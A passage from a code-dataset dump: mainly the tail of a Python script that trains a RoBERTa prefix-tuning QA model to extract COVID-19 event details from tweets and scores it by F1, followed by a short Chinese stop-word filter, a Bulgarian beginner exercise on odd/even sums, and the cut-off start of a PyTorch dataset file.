enumerate(offset_mapping):\n # We will label impossible answers with the index of the CLS token.\n input_ids = tokenized_examples[\"input_ids\"][i]\n cls_index = input_ids.index(tokenizer.cls_token_id)\n\n # Grab the sequence corresponding to that example (to know what is the context and what is the question).\n sequence_ids = tokenized_examples.sequence_ids(i)\n\n # One example can give several spans, this is the index of the example containing this span of text.\n sample_index = sample_mapping[i]\n answers = examples[answer_column_name][sample_index]\n # If no answers are given, set the cls_index as answer.\n if len(answers[\"answer_start\"]) == 0:\n tokenized_examples[\"start_positions\"].append(cls_index)\n tokenized_examples[\"end_positions\"].append(cls_index)\n else:\n # Start/end character index of the answer in the text.\n start_char = answers[\"answer_start\"][0]\n end_char = start_char + len(answers[\"text\"][0])\n\n # Start token index of the current span in the text.\n token_start_index = 0\n while sequence_ids[token_start_index] != (1 if pad_on_right else 0):\n token_start_index += 1\n\n # End token index of the current span in the text.\n token_end_index = len(input_ids) - 1\n while sequence_ids[token_end_index] != (1 if pad_on_right else 0):\n token_end_index -= 1\n\n # Detect if the answer is out of the span (in which case this feature is labeled with the CLS index).\n if not (offsets[token_start_index][0] <= start_char and offsets[token_end_index][1] >= end_char):\n tokenized_examples[\"start_positions\"].append(cls_index)\n tokenized_examples[\"end_positions\"].append(cls_index)\n else:\n # Otherwise move the token_start_index and token_end_index to the two ends of the answer.\n # Note: we could go after the last offset if the answer is the last word (edge case).\n while token_start_index < len(offsets) and offsets[token_start_index][0] <= start_char:\n token_start_index += 1\n tokenized_examples[\"start_positions\"].append(token_start_index - 1)\n while offsets[token_end_index][1] >= end_char:\n token_end_index -= 1\n tokenized_examples[\"end_positions\"].append(token_end_index + 1)\n\n return tokenized_examples\n\n\nimport pickle\n\n\n\ndef load_from_pickle(pickle_file):\n with open(pickle_file, \"rb\") as pickle_in:\n return pickle.load(pickle_in)\n\n\ndef save_in_json(save_dict, save_file):\n with open(save_file, 'w') as fp:\n json.dump(save_dict, fp)\n\n\nimport random\n\nseed = args.seed\nrandom.seed(seed)\ntrain_data = load_from_pickle(args.data_dir)\n\ntask_train_dic = {}\nfor sample in train_data:\n task = sample[-2]\n if task not in task_train_dic.keys():\n task_train_dic[task] = []\n task_train_dic[task].append(sample)\n\nimport pandas as pd\nimport pyarrow as pa\nimport pyarrow.dataset as ds\nfrom datasets import Dataset\n\n\ndef make_hgf_data(dataset):\n df = pd.DataFrame(dataset)\n dataset = ds.dataset(pa.Table.from_pandas(df).to_batches())\n\n ### convert to Huggingface dataset\n return Dataset(pa.Table.from_pandas(df))\n\n\ndef make_example(dataset):\n new_dataset = []\n for sample in dataset:\n if sample[2]['answer_start'] == -1:\n dic = {'id': 1, 'title': 'untitled', 'context': sample[0], 'question': sample[1],\n 'answers': {'text': [], 'answer_start': []}}\n elif sample[2]['text'] == 'AUTHOR OF THE TWEET':\n dic = {'id': 1, 'title': 'untitled', 'context': sample[0], 'question': sample[1],\n 'answers': {'text': [sample[0]], 'answer_start': [sample[2]['answer_start']]}}\n else:\n dic = {'id': 1, 'title': 'untitled', 'context': sample[0], 'question': sample[1],\n 'answers': {'text': [sample[2]['text']], 'answer_start': [sample[2]['answer_start']]}}\n new_dataset.append(dic)\n return new_dataset\n\n\ntrain_dataset = {subtask: make_example(task_train_dic[subtask]) for subtask in task_train_dic.keys()}\n\nquestion_column_name = \"question\"\ncontext_column_name = \"context\"\nanswer_column_name = \"answers\"\n\ntrain_dataset = {subtask: make_hgf_data(train_dataset[subtask]) for subtask in task_train_dic.keys()}\n\nmax_seq_length = 384\npad_on_right = tokenizer.padding_side == \"right\"\n\n\ndata_collator = (\n DataCollatorWithPadding(tokenizer)\n)\n\n\nfrom torch.utils.data import DataLoader\n\n\ndef make_test_dataset(dataset):\n ID_dict = {}\n for sample in dataset:\n ID = sample[-1]\n if ID not in ID_dict.keys():\n ID_dict[ID] = []\n ID_dict[ID].append(sample)\n data = []\n for i in ID_dict:\n batch = ID_dict[i]\n ID = batch[0][-1]\n samples = []\n for item in batch:\n sample = {\n 'answers': {'answer_start': [], 'text': []},\n 'context': item[0],\n 'id': ID,\n 'question': item[1],\n 'title': 'untitled'\n }\n samples.append(sample)\n data.append(samples)\n return data\n\n\ndef make_dev_example(dataset):\n new = []\n for i in dataset:\n tup = (i[0], i[1], i[-1])\n new.append(tup)\n new_dataset = []\n for sample in list(set(new)):\n dic = {'id': sample[-1], 'title': 'untitled', 'context': sample[0], 'question': sample[1],\n 'answers': {'text': [], 'answer_start': []}}\n new_dataset.append(dic)\n return new_dataset\n\n\ndef make_predictions_on_test_dataset(model, data, tokenizer, task, threshold=0):\n model.eval()\n softmax_func = nn.Softmax(dim=0)\n sigmoid_func = nn.Sigmoid()\n model.to(device)\n task_data_dic = {}\n for sample in data:\n subtask = sample[-2]\n if subtask not in task_data_dic.keys():\n task_data_dic[subtask] = []\n task_data_dic[subtask].append(sample)\n subtasks = list(task_data_dic.keys())\n subtask_predictions = {}\n system_prediction = []\n all_ids = []\n for sample in data:\n ID = sample[-1]\n all_ids.append(ID)\n for subtask in subtasks:\n model.subtask = subtask\n ids = []\n predictions = []\n data = task_data_dic[subtask]\n data = make_dev_example(data)\n data = make_hgf_data(data)\n data = data.map(\n prepare_train_features,\n batched=True,\n remove_columns=column_names,\n desc=f\"Running tokenizer on {task}: {subtask}\",\n )\n ids = data['id']\n data = data.remove_columns('id')\n batch_size = 8\n data_loader = DataLoader(data, shuffle=False, collate_fn=data_collator, batch_size=batch_size)\n for batch in data_loader:\n with torch.no_grad():\n batch.to(device)\n outputs = model(**batch)\n for index in range(len(batch['input_ids'])):\n start_logit = softmax_func(outputs['start_logits'][index]).topk(2)[1].tolist()\n end_logit = softmax_func(outputs['end_logits'][index]).topk(2)[1].tolist()\n input_id = batch['input_ids'][index].tolist()\n predicted_answer = input_id[start_logit[0]:end_logit[0] + 1]\n if len(predicted_answer) > 10:\n predicted_answer = 'AUTHOR OF THE TWEET'\n else:\n predicted_answer = tokenizer.decode(predicted_answer)\n if predicted_answer == neg_tok or predicted_answer == '':\n if softmax_func(outputs['start_logits'][index]).topk(2)[0][0].tolist() > threshold and \\\n softmax_func(outputs['end_logits'][index]).topk(2)[0][0].tolist() > threshold:\n predicted_answer = 'Not Specified'\n else:\n predicted_answer = input_id[start_logit[1]:end_logit[1] + 1]\n if len(predicted_answer) > 10:\n predicted_answer = 'AUTHOR OF THE TWEET'\n else:\n predicted_answer = tokenizer.decode(predicted_answer)\n if len(predicted_answer) > 0 and predicted_answer[0] == ' ':\n predicted_answer = predicted_answer[1:]\n predictions.append(predicted_answer)\n subtask_predictions[subtask] = dict(zip(ids, predictions))\n all_ids = list(set(all_ids))\n for ID in ids:\n if task == 'positive':\n system_prediction.append({'id': ID,\n 'predicted_annotation': {'part1.Response': ['Not Specified'],\n 'part2-age.Response': [subtask_predictions['age'][ID]],\n 'part2-close_contact.Response': [\n subtask_predictions['close_contact'][ID]],\n 'part2-employer.Response': [\n subtask_predictions['employer'][ID]],\n 'part2-gender.Response': [\n subtask_predictions['gender_male'][ID],\n subtask_predictions['gender_female'][ID]],\n 'part2-name.Response': [subtask_predictions['name'][ID]],\n 'part2-recent_travel.Response': [\n subtask_predictions['recent_travel'][ID]],\n 'part2-relation.Response': [\n subtask_predictions['relation'][ID]],\n 'part2-when.Response': [subtask_predictions['when'][ID]],\n 'part2-where.Response': [\n subtask_predictions['where'][ID]]}})\n if task == 'can_not_test':\n system_prediction.append({'id': ID,\n 'predicted_annotation': {'part1.Response': ['Not Specified'],\n 'part2-relation.Response': [\n subtask_predictions['relation'][ID]],\n 'part2-symptoms.Response': [\n subtask_predictions['symptoms'][ID]],\n 'part2-name.Response': [subtask_predictions['name'][ID]],\n 'part2-when.Response': [subtask_predictions['when'][ID]],\n 'part2-where.Response': [\n subtask_predictions['where'][ID]]}})\n if task == 'cure':\n system_prediction.append({'id': ID,\n 'predicted_annotation': {\n 'part2-opinion.Response': [subtask_predictions['opinion'][ID]],\n 'part1.Response': ['Not Specified'],\n 'part2-what_cure.Response': [subtask_predictions['what_cure'][ID]],\n 'part2-who_cure.Response': [subtask_predictions['who_cure'][ID]]}})\n if task == 'death':\n system_prediction.append({'id': ID,\n 'predicted_annotation': {'part1.Response': ['Not Specified'],\n 'part2-age.Response': [subtask_predictions['age'][ID]],\n 'part2-name.Response': [subtask_predictions['name'][ID]],\n 'part2-relation.Response': [\n subtask_predictions['relation'][ID]],\n 'part2-when.Response': [subtask_predictions['when'][ID]],\n 'part2-where.Response': [\n subtask_predictions['where'][ID]]}})\n if task == 'negative':\n system_prediction.append({'id': ID,\n 'predicted_annotation': {'part1.Response': ['Not Specified'],\n 'part2-age.Response': [subtask_predictions['age'][ID]],\n 'part2-close_contact.Response': [\n subtask_predictions['close_contact'][ID]],\n 'part2-gender.Response': [\n subtask_predictions['gender_male'][ID],\n subtask_predictions['gender_female'][ID]],\n 'part2-name.Response': [subtask_predictions['name'][ID]],\n 'part2-relation.Response': [\n subtask_predictions['relation'][ID]],\n 'part2-when.Response': [subtask_predictions['when'][ID]],\n 'part2-where.Response': [\n subtask_predictions['where'][ID]]}})\n return update_system_prediction(system_prediction, task)\n\n\ndef update_system_prediction(system_prediction, task):\n male_pronouns = ['he', 'him', 'his', 'father', 'brother', 'son', 'male', 'man', 'men', 'dad', 'trump']\n female_pronouns = ['her', 'she', 'mother', 'sister', 'famele', 'woman', 'women', 'lady', 'ladies', 'mom']\n for sample in system_prediction:\n first = True\n for i in sample['predicted_annotation'].values():\n if first:\n first = False\n continue\n if i != ['Not Specified']:\n sample['predicted_annotation']['part1.Response'] = ['yes']\n if 'part2-relation.Response' in sample['predicted_annotation'].keys():\n if sample['predicted_annotation']['part2-relation.Response'] != ['Not Specified']:\n sample['predicted_annotation']['part2-relation.Response'] = ['Yes']\n if 'part2-gender.Response' in sample['predicted_annotation'].keys():\n gender_prediction = sample['predicted_annotation']['part2-gender.Response']\n if gender_prediction == ['Not Specified', 'Not Specified']:\n gender_prediction = ['Not Specified']\n if len(gender_prediction) > 1 and gender_prediction[1] != 'Not Specified':\n gender_prediction = ['Female']\n if len(gender_prediction) > 1 and gender_prediction[0] != 'Not Specified':\n gender_prediction = ['Male']\n sample['predicted_annotation']['part2-gender.Response'] = gender_prediction\n if 'part2-symptoms.Response' in sample['predicted_annotation'].keys():\n if sample['predicted_annotation']['part2-symptoms.Response'] != ['Not Specified']:\n sample['predicted_annotation']['part2-symptoms.Response'] = ['Yes']\n if 'part2-opinion.Response' in sample['predicted_annotation'].keys():\n if sample['predicted_annotation']['part2-opinion.Response'] != ['Not Specified']:\n sample['predicted_annotation']['part2-opinion.Response'] = ['effective']\n else:\n sample['predicted_annotation']['part2-opinion.Response'] = ['not_effective']\n return system_prediction\n\n\ndef readJSONLine(path):\n output = []\n with open(path, 'r') as f:\n for line in f:\n output.append(json.loads(line))\n\n return output\n\n\npositive_dic = {\n 'age': 'What is the age of the person?',\n 'close_contact': 'Who is in close contact?',\n 'employer': 'Who is the employer?',\n 'gender_male': 'Is the gender male?',\n 'gender_female': 'Is the gender female?',\n 'name': 'Who is tested positive?',\n 'recent_travel': 'Where did the person recently visit?',\n 'relation': 'Does the person have a relationship?',\n 'when': 'When is the cases reported?',\n 'where': 'Where is the cases reported?'\n}\ncan_not_test_dic = {\n 'relation': 'Does the person have a relationship?',\n 'symptoms': 'Is the person experiencing any symptoms?',\n 'name': 'Who can not get a test?',\n 'when': 'When is the situation reported?',\n 'where': 'Where is the situation reported?'\n}\ncure_dic = {\n 'opinion': 'Does the author believe the method?',\n 'what_cure': 'What is the cure?',\n 'who_cure': 'Who is promoting the cure?'\n}\ndeath_dic = {\n 'age': 'What is the age of the person?',\n 'name': 'Who is dead?',\n 'relation': 'Does the person have a relationship?',\n 'when': 'When is the case reported?',\n 'where': 'Where is the case reported?'\n}\nnegative_dic = {\n 'age': 'What is the age of the person?',\n 'close_contact': 'Who is in close contact?',\n 'gender_male': 'Is the gender male?',\n 'gender_female': 'Is the gender female?',\n 'name': 'Who is tested negative?',\n 'relation': 'Does the person have a relationship?',\n 'when': 'When is the cases reported?',\n 'where': 'Where is the cases reported?'\n}\n\n\ndef make_test_dataset(original_dataset, dic):\n data = []\n for example in original_dataset:\n tweet = example['text']\n ID = example['id']\n subtasks = list(dic.keys())\n for subtask in subtasks:\n sample = (\n tweet,\n dic[subtask],\n {'text': '', 'answer_start': -1, 'answer_end': -1},\n 0,\n subtask,\n ID\n )\n\n data.append(sample)\n return data\n\n\n# prepare test dataset\npositive_ann = readJSONLine('golden/positive_sol.jsonl')\nnegative_ann = readJSONLine('golden/negative_sol.jsonl')\ncan_not_test_ann = readJSONLine('golden/can_not_test_sol.jsonl')\ncure_ann = readJSONLine('golden/cure_sol.jsonl')\ndeath_ann = readJSONLine('golden/death_sol.jsonl')\n\nraw_positive = readJSONLine(args.test_data_dir + '/shared_task-test-positive.jsonl')\nraw_can_not_test = readJSONLine(args.test_data_dir + '/shared_task-test-can_not_test.jsonl')\nraw_cure = readJSONLine(args.test_data_dir + '/shared_task-test-cure.jsonl')\nraw_death = readJSONLine(args.test_data_dir + '/shared_task-test-death.jsonl')\nraw_negative = readJSONLine(args.test_data_dir + '/shared_task-test-negative.jsonl')\n\npositive_dev = make_test_dataset(raw_positive, positive_dic)\ncan_not_test_dev = make_test_dataset(raw_can_not_test, can_not_test_dic)\ncure_dev = make_test_dataset(raw_cure, cure_dic)\ndeath_dev = make_test_dataset(raw_death, death_dic)\nnegative_dev = make_test_dataset(raw_negative, negative_dic)\n\n\ndef load_from_pickle(pickle_file):\n with open(pickle_file, \"rb\") as pickle_in:\n return pickle.load(pickle_in)\n\n\n# make null prediction to \"not specified\"\ndef update_negatives(predictions):\n for sample in predictions:\n for task in sample['predicted_annotation'].keys():\n if sample['predicted_annotation'][task] == ['']:\n sample['predicted_annotation'][task] = ['Not Specified']\n\n\nimport string\nimport re\n\n\ndef normalize_answer(s):\n \"\"\"Lower text and remove punctuation, articles and extra whitespace.\"\"\"\n\n def remove_articles(text):\n regex = re.compile(r'\\b(a|an|the)\\b', re.UNICODE)\n return re.sub(regex, ' ', text)\n\n def white_space_fix(text):\n return ' '.join(text.split())\n\n def remove_punc(text):\n exclude = set(string.punctuation)\n return ''.join(ch for ch in text if ch not in exclude)\n\n def lower(text):\n return text.lower()\n\n return white_space_fix(remove_articles(remove_punc(lower(s))))\n\n\ndef get_tokens(s):\n if not s: return []\n return normalize_answer(s).split()\n\n\n# candidate chunk match\ndef nor_pred_chunks(curr_pred, candidate_chunks):\n nor_pred = []\n chunk_score = {}\n for candidate_chunk in candidate_chunks:\n # if curr_pred in candidate_chunk:\n # nor_pred.append(candidate_chunk)\n ptoks = get_tokens(curr_pred)\n ctoks = get_tokens(candidate_chunk)\n t = max(len(ptoks), len(ctoks))\n l = len(ptoks)\n s = 0\n for tok in ptoks:\n if tok in ctoks:\n s += 1\n if s == l:\n nor_pred.append(candidate_chunk)\n score = l / t\n chunk_score[candidate_chunk] = score\n\n l = len(ctoks)\n s = 0\n for tok in ctoks:\n if tok in ptoks:\n s += 1\n if s == l:\n nor_pred.append(candidate_chunk)\n score = l / t\n chunk_score[candidate_chunk] = score\n if nor_pred == []:\n nor_pred = ['Not Specified']\n else:\n nor_pred = list(set(nor_pred))\n nor_pred = [i for i in nor_pred if chunk_score[i] == max(list(chunk_score.values()))]\n if nor_pred == ['i'] or nor_pred == ['im']:\n nor_pred = ['AUTHOR OF THE TWEET']\n # nor_pred = [i for i in nor_pred if abs(len(i)-len(curr_pred))==min([abs(len(i)-len(curr_pred)) for i in nor_pred])]\n return nor_pred\n\n\ndef update_candidate_chunks_offsets(predictions, task):\n # golden_predictions = readJSONLine(golden_path + task + '_sol.jsonl')\n # golden_predictions_dict = {}\n # for each_line in golden_predictions:\n # golden_predictions_dict[each_line['id']] = each_line\n pre_dict = {}\n for sample in predictions:\n pre_dict[sample['id']] = sample\n task_raw_dict = {\n 'positive': raw_positive,\n 'can_not_test': raw_can_not_test,\n 'cure': raw_cure,\n 'death': raw_death,\n 'negative': raw_negative\n }\n raw = task_raw_dict[task]\n raw_dict = {}\n for sample in raw:\n raw_dict[sample['id']] = sample\n for sample in predictions:\n ID = sample['id']\n candidate_chunks_offsets = raw_dict[ID]['candidate_chunks_offsets']\n candidate_chunks = [raw_dict[ID]['text'][i[0]:i[1]] for i in candidate_chunks_offsets]\n candidate_chunks = [i.lower() for i in candidate_chunks]\n for sub_task in sample['predicted_annotation'].keys():\n curr_pred = sample['predicted_annotation'][sub_task][0]\n if curr_pred != 'Not Specified' and curr_pred != 'effective' and curr_pred != 'yes' and curr_pred != 'not_effective' and curr_pred != 'AUTHOR OF THE TWEET' and curr_pred != 'Male' and curr_pred != 'Female' and curr_pred != 'Yes':\n curr_pred = curr_pred.lower()\n if curr_pred not in candidate_chunks:\n if 'and' in curr_pred:\n curr_preds = curr_pred.split(' and ')\n nor_pred = []\n for pred in curr_preds:\n sub_pred = nor_pred_chunks(pred, candidate_chunks)\n if sub_pred != ['Not Specified']:\n nor_pred = nor_pred + sub_pred\n elif ',' in curr_pred:\n curr_preds = curr_pred.split(', ')\n nor_pred = []\n for pred in curr_preds:\n sub_pred = nor_pred_chunks(pred, candidate_chunks)\n if sub_pred != ['Not Specified']:\n nor_pred = nor_pred + sub_pred\n else:\n nor_pred = nor_pred_chunks(curr_pred, candidate_chunks)\n nor_pred = list(set(nor_pred))\n sample['predicted_annotation'][sub_task] = nor_pred\n\n\ndef runEvaluation(system_predictions, golden_predictions):\n ## read in files\n golden_predictions_dict = {}\n for each_line in golden_predictions:\n golden_predictions_dict[each_line['id']] = each_line\n\n ## question tags\n question_tag = [i for i in golden_predictions[0]['golden_annotation'] if 'part2' in i]\n\n ## evaluation\n result = {}\n for each_task in question_tag:\n\n # evaluate curr task\n curr_task = {}\n TP, FP, FN = 0.0, 0.0, 0.0\n for each_line in system_predictions:\n curr_sys_pred = [i.lower() for i in each_line['predicted_annotation'][each_task] if \\\n i != 'Not Specified' and i != 'not specified' and i != 'not_effective']\n # print(golden_predictions_dict[each_line['id']]['golden_annotation'][each_task])\n curr_golden_ann = [i.lower() for i in\n golden_predictions_dict[each_line['id']]['golden_annotation'][each_task] \\\n if i != 'Not Specified' and i != 'not specified' and i != 'not_effective']\n # print(curr_sys_pred, curr_golden_ann)\n if len(curr_golden_ann) > 0:\n for predicted_chunk in curr_sys_pred:\n if predicted_chunk in curr_golden_ann:\n TP += 1 # True positives are predicted spans that appear in the gold labels.\n else:\n FP += 1 # False positives are predicted spans that don't appear in the gold labels.\n for gold_chunk in curr_golden_ann:\n if gold_chunk not in curr_sys_pred:\n FN += 1 # False negatives are gold spans that weren't in the set of spans predicted by the model.\n else:\n if len(curr_sys_pred) > 0:\n for predicted_chunk in curr_sys_pred:\n FP += 1 # False positives are predicted spans that don't appear in the gold labels.\n\n # print\n if TP + FP == 0:\n P = 0.0\n else:\n P = TP / (TP + FP)\n\n if TP + FN == 0:\n R = 0.0\n else:\n R = TP / (TP + FN)\n\n if P + R == 0:\n F1 = 0.0\n else:\n F1 = 2.0 * P * R / (P + R)\n\n curr_task[\"F1\"] = F1\n curr_task[\"P\"] = P\n curr_task[\"R\"] = R\n curr_task[\"TP\"] = TP\n curr_task[\"FP\"] = FP\n curr_task[\"FN\"] = FN\n N = TP + FN\n curr_task[\"N\"] = N\n\n # print(curr_task)\n result[each_task.replace('.Response', '')] = curr_task\n\n # print\n # print(each_task.replace('.Response', ''))\n # print('P:', curr_task['P'], 'R:', curr_task['R'], 'F1:', curr_task['F1'])\n # print('=======')\n\n ### calculate micro-F1\n all_TP = np.sum([i[1]['TP'] for i in result.items()])\n all_FP = np.sum([i[1]['FP'] for i in result.items()])\n all_FN = np.sum([i[1]['FN'] for i in result.items()])\n\n all_P = all_TP / (all_TP + all_FP)\n all_R = all_TP / (all_TP + all_FN)\n all_F1 = 2.0 * all_P * all_R / (all_P + all_R)\n\n ## append\n result['micro'] = {}\n result['micro']['TP'] = all_TP\n result['micro']['FP'] = all_FP\n result['micro']['FN'] = all_FN\n result['micro']['P'] = all_P\n result['micro']['R'] = all_R\n result['micro']['F1'] = all_F1\n result['micro']['N'] = all_TP + all_FN\n\n # print('micro F1', all_F1)\n\n return result\n\n\nfrom accelerate import Accelerator\nfrom transformers import AdamW, get_linear_schedule_with_warmup\n\naccelerator = Accelerator()\n\ntorch.cuda.manual_seed(seed)\ntorch.manual_seed(seed)\nepochs = args.num_epoch\nbatch_size = args.train_batch_size\n\n# prepare training dataset\ntrain_dataloader_dic = {}\nfor subtask, subtask_data in train_dataset.items():\n column_names = subtask_data.column_names\n subtask_data = subtask_data.map(\n prepare_train_features,\n batched=True,\n remove_columns=column_names,\n desc=\"Running tokenizer on train dataset\",\n )\n train_dataloader_dic[subtask] = DataLoader(subtask_data, shuffle=True, collate_fn=data_collator,\n batch_size=batch_size)\n\n# define model and hyper-parameters\nconfig.subtask = None\nconfig.subtasks = list(train_dataloader_dic.keys())\nconfig.hidden_dropout_prob = 0.2\nconfig.pre_seq_len = args.pre_seq_len\nconfig.prefix_projection = True\nconfig.prefix_hidden_size = args.prefix_hidden_size\n\nmodel_class = RobertaPrefixModelForQuestionAnswering\n\nmodel = model_class.from_pretrained(\n checkpoint,\n config=config\n).to(device)\n\nif model_class == RobertaPrefixModelForQuestionAnswering:\n for subtask, prefix_encoder in model.prefix_encoders.items():\n prefix_encoder.to(device)\n\nneg_tok = ''\n\ntotal_steps = sum([len(train_dataloader_dic[subtask]) for subtask in train_dataset.keys()]) * epochs\ngradient_accumulation_steps = 1\nlr = args.learning_rate\noptimizer = AdamW(model.parameters(), lr=lr, eps=1e-8)\n\nimport time\nimport datetime\nfrom tqdm.auto import tqdm\n\n\ndef format_time(elapsed):\n '''\n Takes a time in seconds and returns a string hh:mm:ss\n '''\n # Round to the nearest second.\n elapsed_rounded = int(round((elapsed)))\n\n # Format as hh:mm:ss\n return str(datetime.timedelta(seconds=elapsed_rounded))\n\n\nprogress_bar = tqdm(range(total_steps), disable=not accelerator.is_local_main_process)\ncompleted_steps = 0\nlr_scheduler = get_linear_schedule_with_warmup(optimizer, num_warmup_steps=0, num_training_steps=total_steps)\n\ntotal_start_time = time.time()\nepoch_train_loss = list()\n\ntrain_loss_trajectory = list()\nstart_time = time.time()\nprint('seed =', seed)\nprint('epochs =', epochs)\nprint('batch_size =', batch_size)\nprint('gradient_accumulation_steps =', gradient_accumulation_steps)\nprint('learning rate =', lr)\nif model_class == RobertaPrefixModelForQuestionAnswering:\n print('pre_seq_len =', model.pre_seq_len)\n print('prefix_hidden_size =', config.prefix_hidden_size)\n\n \n# let's start training\nfor epoch in range(epochs):\n for subtask, train_dataloader in train_dataloader_dic.items():\n # model config\n model.subtask = subtask\n # stop gradient for other subtasks\n if model_class == RobertaPrefixModelForQuestionAnswering:\n for st in model.subtasks:\n if st != subtask:\n for param in model.prefix_encoders[st].parameters():\n param.requires_grad = False\n param.grad = None\n\n else:\n for param in model.prefix_encoders[st].parameters():\n param.requires_grad = True\n\n pbar = tqdm(train_dataloader)\n elapsed = format_time(time.time() - start_time)\n total_train_loss = 0\n model.train()\n for step, batch in enumerate(pbar):\n input_ids = batch['input_ids'].to(device)\n attention_mask = batch['attention_mask'].to(device)\n start_positions = batch['start_positions'].to(device)\n end_positions = batch['end_positions'].to(device)\n outputs = model(input_ids, attention_mask=attention_mask, start_positions=start_positions,\n end_positions=end_positions)\n loss = outputs.loss\n loss = loss / gradient_accumulation_steps\n accelerator.backward(loss)\n total_train_loss += loss.item()\n if step % gradient_accumulation_steps == 0 or step == len(train_dataloader) - 1:\n avg_train_loss = total_train_loss / (step + 1)\n train_loss_trajectory.append(avg_train_loss)\n pbar.set_description(\n f\"Epoch:{epoch + 1}|Batch:{step}/{len(train_dataloader)}|Time:{elapsed}|Avg. Loss:{avg_train_loss:.4f}|Loss:{loss.item():.4f}\")\n torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)\n optimizer.step()\n lr_scheduler.step()\n optimizer.zero_grad()\n progress_bar.update(1)\n completed_steps += 1\n\n if epoch == epochs - 1:\n positive_prediction = make_predictions_on_test_dataset(model, positive_dev, tokenizer, 'positive')\n can_not_test_prediction = make_predictions_on_test_dataset(model, can_not_test_dev, tokenizer, 'can_not_test')\n cure_prediction = make_predictions_on_test_dataset(model, cure_dev, tokenizer, 'cure')\n death_prediction = make_predictions_on_test_dataset(model, death_dev, tokenizer, 'death')\n negative_prediction = make_predictions_on_test_dataset(model, negative_dev, tokenizer, 'negative')\n\n if chunk_match:\n update_candidate_chunks_offsets(positive_prediction, 'positive')\n update_candidate_chunks_offsets(negative_prediction, 'negative')\n update_candidate_chunks_offsets(can_not_test_prediction, 'can_not_test')\n update_candidate_chunks_offsets(cure_prediction, 'cure')\n update_candidate_chunks_offsets(death_prediction, 'death')\n\n update_negatives(positive_prediction)\n update_negatives(negative_prediction)\n update_negatives(can_not_test_prediction)\n update_negatives(cure_prediction)\n update_negatives(death_prediction)\n\n save_in_json(positive_prediction, args.output_dir + 'system_predictions-positive.jsonl')\n save_in_json(can_not_test_prediction, args.output_dir + 'system_predictions-can_not_test.jsonl')\n save_in_json(cure_prediction, args.output_dir + 'system_predictions-cure.jsonl')\n save_in_json(death_prediction, args.output_dir + 'system_predictions-death.jsonl')\n save_in_json(negative_prediction, args.output_dir + 'system_predictions-negative.jsonl')\n\n curr_team = {}\n category_flag = ['positive', 'can_not_test', 'cure', 'death', 'negative']\n all_category_results = {}\n curr_result = runEvaluation(positive_prediction, positive_ann)\n all_category_results[category_flag[0]] = curr_result\n curr_result = runEvaluation(can_not_test_prediction, can_not_test_ann)\n all_category_results[category_flag[1]] = curr_result\n curr_result = runEvaluation(cure_prediction, cure_ann)\n all_category_results[category_flag[2]] = curr_result\n curr_result = runEvaluation(death_prediction, death_ann)\n all_category_results[category_flag[3]] = curr_result\n curr_result = runEvaluation(negative_prediction, negative_ann)\n all_category_results[category_flag[4]] = curr_result\n\n all_cate_TP = np.sum([i[1]['micro']['TP'] for i in all_category_results.items()])\n all_cate_FP = np.sum([i[1]['micro']['FP'] for i in all_category_results.items()])\n all_cate_FN = np.sum([i[1]['micro']['FN'] for i in all_category_results.items()])\n\n ### micro-F1\n all_cate_P = all_cate_TP / (all_cate_TP + all_cate_FP)\n all_cate_R = all_cate_TP / (all_cate_TP + all_cate_FN)\n all_cate_F1 = 2.0 * all_cate_P * all_cate_R / (all_cate_P + all_cate_R)\n\n curr_team['category_perf'] = all_category_results\n merged_performance = {}\n merged_performance['TP'] = all_cate_TP\n merged_performance['FP'] = all_cate_FP\n merged_performance['FN'] = all_cate_FN\n merged_performance['P'] = all_cate_P\n merged_performance['R'] = all_cate_R\n merged_performance['F1'] = all_cate_F1\n curr_team['overall_perf'] = merged_performance\n F1 = all_cate_F1\n \n print('Fscore: ', F1)\n print('Precision: ', all_cate_P)\n print('Recall: ', all_cate_R)\n","repo_name":"yuhangjiang22/twitter-covid-QA-extraction","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":45773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33282802717","text":"\"\"\"\r\n过滤红楼梦中的停用词\r\n\"\"\"\r\n\r\n# 导入模块\r\nfrom unittest import result\r\nimport jieba\r\n\r\n# 加载停用词库\r\ndef load_stop_lexicon():\r\n with open(\"../Data/哈工大停用词表.txt\",\"r\",encoding=\"utf-8\") as file:\r\n lexicon_text = file.readlines()\r\n lexicon_list = []\r\n\r\n for i in lexicon_text:\r\n lexicon_list.append(i.strip())\r\n return lexicon_list\r\n\r\n# 过滤\r\n\r\ndef filter(sentence):\r\n lexicon_list = load_stop_lexicon()\r\n result_list =[]\r\n split_list= jieba.lcut(sentence)\r\n for i in split_list:\r\n if i not in lexicon_list:\r\n result_list.append(i)\r\n\r\n return result_list\r\n\r\n\r\nif __name__==\"__main__\":\r\n with open(\"../Data/红楼梦_utf8.txt\",\"r\",encoding=\"utf-8\") as file:\r\n sentence = file.read()\r\n print(filter(sentence))\r\n","repo_name":"Data8806/TextBigData","sub_path":"Code/filter_stop_words.py","file_name":"filter_stop_words.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29607792144","text":"\"\"\"\n\nДа се напише програма, която чете n-на брой цели числа, подадени от потребителя,\nи проверява дали сумата от числата на четни позиции е равна на сумата на числата на нечетни позиции.\nПри равенство да се отпечатат два реда:\n\"Yes\" и на нов ред \"Sum = \" + сумата; иначе да се отпечата \"No\" и на нов ред \"Diff = \" + разликата.\nРазликата се изчислява по абсолютна стойност.\n\nвход\tизход\tкоментар\n4\n10\n50\n60\n20\n\n Yes\n Sum = 70\t10+60 = 50+20 = 70\n\n\"\"\"\n\n\nn = int(input())\neven_sum = []\nodd_sum = []\n\n[even_sum.append(int(input())) if i % 2 == 0 else odd_sum.append(int(input())) for i in range(n)]\n\nif sum(even_sum) == sum(odd_sum):\n print(f\"Yes\")\n print(f'Sum = {sum(even_sum)}')\nelse:\n print(f\"No\")\n print(f'Diff = {abs(sum(even_sum) - sum(odd_sum))}')","repo_name":"StefanDimitrovDimitrov/Python_Basic","sub_path":"05. Loops/10_odd_even_sum.py","file_name":"10_odd_even_sum.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"bg","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7485353192","text":"\r\nfrom torch.utils.data import Dataset\r\nimport torch\r\nimport numpy as np\r\nfrom os.path import splitext\r\nimport os\r\nfrom glob import glob\r\nimport sys\r\nimport 